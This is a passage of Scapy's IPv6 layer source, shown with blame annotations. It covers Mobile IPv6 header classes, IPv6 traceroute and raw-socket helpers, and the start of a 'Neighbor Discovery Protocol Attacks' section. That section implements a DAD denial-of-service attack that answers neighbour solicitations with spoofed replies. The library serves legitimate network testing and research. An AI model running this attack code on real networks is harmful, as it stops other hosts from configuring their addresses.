30150d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    def answers(self, other):
3016c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(other, MIP6MH_BRR):
3017c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3018c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3019c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3020c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BA(_MobilityHeader):
3021c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding ACK"
3022c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3023c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3024c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 6, mhtypes),
3025c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", None),
3026c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3027c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, bastatus),
3028571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    FlagsField("flags", "K", 3, "PRK"),
3029571ee9a1f1431f1ec7e654b5ee991e2118b994efPhil                    XBitField("res2", None, 5),
3030c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq", None), # TODO: ShortNonceField
3031c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("mhtime", 0), # unit == 4 seconds
3032c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _PhantomAutoPadField("autopad", 1), # autopad activated by default
3033c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 12,
3034c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*pkt.len-4) ]
3035c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3036c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3037c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret()
30382a7ad0d13aaaa2a5358f82c67877856863a30d61gpotter        return b"\x00\x08\x09"
3039c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3040c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
3041c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if (isinstance(other, MIP6MH_BU) and
3042c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.mhtype == 5 and
3043c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.mhtype == 6 and
3044c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            other.flags & 0x1 and # Ack request flags is set
3045c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.seq == other.seq):
3046c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 1
3047c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return 0
3048c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3049c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_bestatus = { 1: 'Unknown binding for Home Address destination option',
3050c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil              2: 'Unrecognized MH Type value' }
3051c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3052c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO: match Binding Error to its stimulus
3053c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6MH_BE(_MobilityHeader):
3054c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "IPv6 Mobility Header - Binding Error"
3055c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
3056c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes)
3057c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("mhtype", 7, mhtypes),
3058c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("res", 0),
3059c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
3060c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("status", 0, _bestatus),
3061c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
3062c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("ha", "::"),
3063c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    _MobilityOptionsField("options", [], MIP6OptUnknown, 24,
3064c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                          length_from = lambda pkt: 8*(pkt.len-2)) ]
3065c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = { IPv6: { "nh": 135 }}
3066c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3067c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mip6_mhtype2cls = { 0: MIP6MH_BRR,
3068c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     1: MIP6MH_HoTI,
3069c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: MIP6MH_CoTI,
3070c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: MIP6MH_HoT,
3071c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: MIP6MH_CoT,
3072c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     5: MIP6MH_BU,
3073c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     6: MIP6MH_BA,
3074c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     7: MIP6MH_BE }
3075c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3076c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3077c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3078c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3079c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                             Traceroute6                               ###
3080c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3081c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3082c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3083c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass  AS_resolver6(AS_resolver_riswhois):
3084c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _resolve_one(self, ip):
3085c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3086c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        overloaded version to provide a Whois resolution on the
30870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        embedded IPv4 address if the address is 6to4 or Teredo.
3088c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        Otherwise, the native IPv6 address is passed.
3089c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        """
3090c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3091c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if in6_isaddr6to4(ip): # for 6to4, use embedded @
3092c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = inet_pton(socket.AF_INET6, ip)
3093c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = inet_ntop(socket.AF_INET, tmp[2:6])
3094c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif in6_isaddrTeredo(ip): # for Teredo, use mapped address
3095c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = teredoAddrExtractInfo(ip)[2]
3096c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
3097c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            addr = ip
30980d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
3099c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr)
3100c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3101caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon        if asn.startswith("AS"):
3102caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            try:
3103caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                asn = int(asn[2:])
3104caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon            except ValueError:
3105caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon                pass
3106caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3107caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon        return ip,asn,desc
3108c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3109c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass TracerouteResult6(TracerouteResult):
3110aefe6fcbe454cd014487523c5470d933fa70e95cPierre LALET    __slots__ = []
3111c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def show(self):
3112c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.make_table(lambda (s,r): (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 !
3113c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              s.hlim,
3114c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+
311577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                                                        "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+
311677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                                                        "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+
311777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                                                        "{ICMPv6EchoReply:%ir,type%}")))
3118c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3119c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def get_trace(self):
3120c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        trace = {}
3121c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3122c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        for s,r in self.res:
3123c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if IPv6 not in s:
3124c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = s[IPv6].dst
3126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d not in trace:
3127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                trace[d] = {}
31280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
31290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            t = not (ICMPv6TimeExceeded in r or
3130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6DestUnreach in r or
3131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6PacketTooBig in r or
3132c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     ICMPv6ParamProblem in r)
3133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3134c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            trace[d][s[IPv6].hlim] = r[IPv6].src, t
3135c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3136241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET        for k in trace.itervalues():
3137241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            try:
313856079017c31c5e086e084d3465967404a98eb635Pierre LALET                m = min(x for x, y in k.itervalues() if y)
3139241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            except ValueError:
3140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                continue
3141241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET            for l in k.keys():  # use .keys(): k is modified in the loop
3142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l > m:
3143241e2c497945a93117ce42ebc2a555e3871ca716Pierre LALET                    del k[l]
3144c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return trace
3146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3147c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def graph(self, ASres=AS_resolver6(), **kargs):
3148c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        TracerouteResult.graph(self, ASres=ASres, **kargs)
3149caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon
3150caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
3151caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadondef traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(),
3152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l4 = None, timeout=2, verbose=None, **kargs):
3153caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Instant TCP traceroute using IPv6
3154c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None
3155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
3156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose is None:
3157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        verbose = conf.verb
3158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3159c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if l4 is None:
3160c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport),
3161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs)
3162c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    else:
3163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4,
3164c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 timeout=timeout, verbose=verbose, **kargs)
3165c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    a = TracerouteResult6(a.res)
3167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if verbose:
3169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        a.display()
3170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return a,b
3172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                                Sockets                                ###
3176c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3177c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3178c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3179c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass L3RawSocket6(L3RawSocket):
3180c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0):
3181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        L3RawSocket.__init__(self, type, filter, iface, promisc)
318277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292)
3183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
3184c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
3185c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3186c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef IPv6inIP(dst='203.178.135.36', src=None):
3187c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.dst = dst
3188c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  _IPv6inIP.src = src
3189c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  if not conf.L3socket == _IPv6inIP:
3190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.cls = conf.L3socket
3191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  else:
3192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    del(conf.L3socket)
3193c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  return _IPv6inIP
3194c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _IPv6inIP(SuperSocket):
3196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  dst = '127.0.0.1'
3197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  src = None
3198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  cls = None
3199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3200c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args):
3201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    SuperSocket.__init__(self, family, type, proto)
3202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    self.worker = self.cls(**args)
3203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3204c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def set(self, dst, src=None):
3205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.src = src
3206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    _IPv6inIP.dst = dst
3207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def nonblock_recv(self):
3209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.nonblock_recv()
3210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p)
3211c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def recv(self, x):
3213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    p = self.worker.recv(x)
3214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self._recv(p, x)
3215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def _recv(self, p, x=MTU):
3217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if p is None:
3218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return p
3219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif isinstance(p, IP):
3220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      # TODO: verify checksum
3221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      if p.src == self.dst and p.proto == socket.IPPROTO_IPV6:
3222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if isinstance(p.payload, IPv6):
3223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return p.payload
3224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return p
3225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil  def send(self, x):
3227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x)
3228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3232af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard###                  Neighbor Discovery Protocol Attacks                  ###
3233af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3234af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3235af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3236af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None,
3237af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter=None, reply_mac=None):
3238af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3239af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Internal generic helper accepting a specific callback as first argument,
3240af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for NS or NA reply. See the two specific functions below.
3241af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3242af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3243af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3244af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3245af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3246af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3247af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3248af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3249af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3250af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3251af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3252af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Get and compare the MAC address
3253af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3254af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3255af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3256af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3257af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must be the unspecified address
3258af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if req[IPv6].src != "::":
3259af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3260af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3261af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Check destination is the link-local solicited-node multicast
3262af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address associated with target address in received NS
3263af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3264af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3265af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3266af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst)
3267af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        expected_snma = in6_getnsma(tgt)
3268af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if received_snma != expected_snma:
3269af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3270af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3271af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3272af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3273af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3274af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3275af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3276af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3277af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3278af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3279af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3280af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3281af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3282af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3283af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3284af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, iface),
3285af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3286af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3287af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3288af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
3289af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3290af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3291af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3292af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages sent from the
3293af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address and sending a NS reply for the target address,
3294af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3295af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3296af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3297af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NS sent to create the DoS uses:
3298af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3299af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the unspecified address (::).
3300af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3301af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3302af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3303af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3304af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3305af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3306af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3307af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3308af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3309af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3310af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3311af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3312af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
